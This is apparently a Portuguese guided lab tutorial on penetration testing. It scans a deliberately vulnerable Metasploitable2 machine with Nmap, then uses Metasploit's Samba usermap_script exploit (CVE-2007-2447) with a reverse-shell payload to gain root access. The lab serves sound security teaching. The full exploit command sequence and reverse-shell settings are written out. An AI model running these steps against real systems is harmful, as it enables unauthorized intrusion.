Realizar Testes de Penetração com Nmap e Metasploit

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá sobre o processo básico de teste de penetração e realizará um ataque prático usando o Kali Linux. O objetivo é obter acesso remoto ao shell de um sistema alvo vulnerável, explorando uma vulnerabilidade conhecida do Samba. Este laboratório oferece uma oportunidade para entender as etapas envolvidas em um cenário real de teste de penetração e praticar o uso de ferramentas de segurança populares como Nmap e Metasploit.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 93%. Recebeu uma taxa de avaliações positivas de 97% dos estudantes.

Configurar o Ambiente de Laboratório

O teste de penetração geralmente envolve as seguintes etapas:

  1. Coleta de Informações (Information Gathering): Coletar o máximo de informações possível sobre o sistema alvo, incluindo informações de rede, conteúdo do site, estrutura de diretórios, possíveis nomes de usuário, portas abertas, serviços, nomes de domínio e subdomínios. Várias ferramentas podem ser usadas para este fim.

  2. Varredura de Vulnerabilidades (Vulnerability Scanning): Usar ferramentas de varredura para realizar uma varredura abrangente do sistema alvo para identificar vulnerabilidades. Ferramentas de varredura automatizadas estão disponíveis, ou ferramentas manuais podem ser usadas para varredura direcionada de serviços específicos.

  3. Exploração (Exploitation): Uma vez que as vulnerabilidades exploráveis são identificadas, usar ferramentas e técnicas apropriadas para obter acesso ou privilégios de nível superior no sistema alvo. Isso pode envolver execução remota de código, ataques de injeção ou outros métodos.

  4. Manutenção de Acesso (Maintaining Access): Criar um backdoor ou mecanismo de acesso persistente no sistema alvo para facilitar o acesso futuro, evitando a detecção.

  5. Relatório (Reporting): Analisar as descobertas e gerar um relatório detalhando as vulnerabilidades descobertas e as etapas tomadas durante o processo de teste de penetração. Este relatório pode ajudar a organização alvo a proteger seus sistemas de forma eficaz.

Em resumo, com uma compreensão das etapas básicas envolvidas no teste de penetração, é hora de colocar a teoria em prática. Através de exercícios práticos, podemos aplicar o conhecimento e as habilidades aprendidas para obter experiência prática no campo do teste de penetração.

Primeiramente, você precisa configurar o ambiente do laboratório para praticar um cenário de teste de penetração.

O ambiente do laboratório consiste em dois sistemas:

  1. Container Kali Linux (Máquina do Atacante): Este é um container Docker executando Kali Linux, que será usado para realizar o ataque.

  2. Máquina Virtual Metasploitable2 (Máquina Alvo): Este é um servidor Ubuntu vulnerável, atuando como o sistema alvo.

Para configurar o ambiente, siga estas etapas:

  1. Inicie a máquina alvo Metasploitable2:
sudo virsh start Metasploitable2

Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.

  1. Faça ping na máquina alvo para garantir que ela esteja em execução (use Ctrl+C para sair):
ping 192.168.122.102
  1. Inicie o container Kali Linux e entre no shell Bash:
docker run -ti --network host b5b709a49cd5 bash
  1. Teste a conectividade de rede do container Kali fazendo ping na máquina alvo (use Ctrl+C para sair):
ping 192.168.122.102

Ambas as máquinas, atacante e alvo, devem estar em execução e acessíveis. Você está pronto para começar o processo de teste de penetração.

Realizar Varredura de Vulnerabilidades

Nesta etapa, você usará a ferramenta Nmap no Kali Linux para escanear o sistema alvo em busca de portas e serviços abertos.

  1. Execute o seguinte comando Nmap para realizar uma varredura abrangente e salvar a saída em /tmp/report.txt no container Docker, pode levar alguns minutos para ser concluído:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Aqui está o que as flags significam:

  • -p 1-65535: Escanear todas as portas
  • -T4: Definir o modelo de tempo (valor mais alto significa varredura mais rápida)
  • -A: Habilitar a detecção do sistema operacional e a detecção de versão
  • -v: Aumentar o nível de verbosidade
  • >/tmp/report.txt: Redirecionar a saída para um arquivo
  1. Aguarde a conclusão da varredura (pode levar alguns minutos).

  2. Analise o relatório da varredura abrindo o arquivo /tmp/report.txt com cat:

cat /tmp/report.txt

O relatório listará as portas abertas, os serviços e as versões em execução no sistema alvo.

  1. Identifique quaisquer vulnerabilidades potenciais associadas aos serviços e versões descobertos durante a varredura.

Neste caso, vamos nos concentrar no serviço Samba, que possui uma vulnerabilidade conhecida de execução remota de comandos (CVE-2007-2447) na versão em execução no sistema Metasploitable2. Aqui estão os detalhes da vulnerabilidade de execução remota de comandos Samba USERNAME MAP SCRIPT (CVE-2007-2447):

  • CVE: CVE-2007-2447
  • Versões Afetadas: Samba 3.0.0 - 3.0.25rc3
  • Descrição da Vulnerabilidade: A vulnerabilidade existe na forma como o Samba lida com a opção de configuração username map script. Quando esta opção está habilitada, o Samba não consegue sanitizar adequadamente a entrada do usuário antes de passá-la para o shell /bin/sh, permitindo que invasores remotos executem comandos arbitrários como o usuário Samba.

A descrição oficial da vulnerabilidade do Samba pode ser encontrada em: http://samba.org/samba/security/CVE-2007-2447.html

O módulo de exploit do Metasploit que usaremos para explorar esta vulnerabilidade é exploit/multi/samba/usermap_script. Você pode encontrar o código-fonte e os comentários para este módulo em: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Explorar a Vulnerabilidade usando Metasploit

Nesta etapa, você usará o Metasploit Framework para explorar a vulnerabilidade Samba USERNAME MAP SCRIPT e obter acesso ao shell remoto do sistema alvo.

  1. Inicie o console Metasploit:
cd ~
msfconsole
  1. Carregue o módulo de exploit Samba no console Metasploit:
use exploit/multi/samba/usermap_script
  1. Defina o payload para cmd/unix/reverse no console Metasploit:
set payload cmd/unix/reverse
  1. Configure o endereço IP e a porta do alvo no console Metasploit:
set RHOST 192.168.122.102
set RPORT 445
  1. Defina o endereço IP local para o reverse shell no console Metasploit:
set LHOST 192.168.122.1
  1. Verifique as opções no console Metasploit:
show options
  1. Execute o exploit no console Metasploit:
exploit

Se o exploit for bem-sucedido, você deverá ter uma sessão de shell remoto como o usuário root no sistema alvo.

  1. Após concluir seus testes, você pode sair do shell pressionando Ctrl+C e digitando exit para retornar ao container Kali.

Resumo

Neste laboratório, você aprendeu sobre o processo básico de testes de penetração e ganhou experiência prática na realização de um cenário de ataque do mundo real. Você configurou um ambiente de laboratório com um sistema alvo vulnerável, conduziu a varredura de vulnerabilidades usando o Nmap, analisou uma vulnerabilidade Samba conhecida e a explorou usando o Metasploit Framework para obter acesso ao shell remoto. Essa experiência prática o ajudará a entender melhor as técnicas e ferramentas usadas em testes de penetração, e a importância de configurações de sistema seguras e gerenciamento de vulnerabilidades.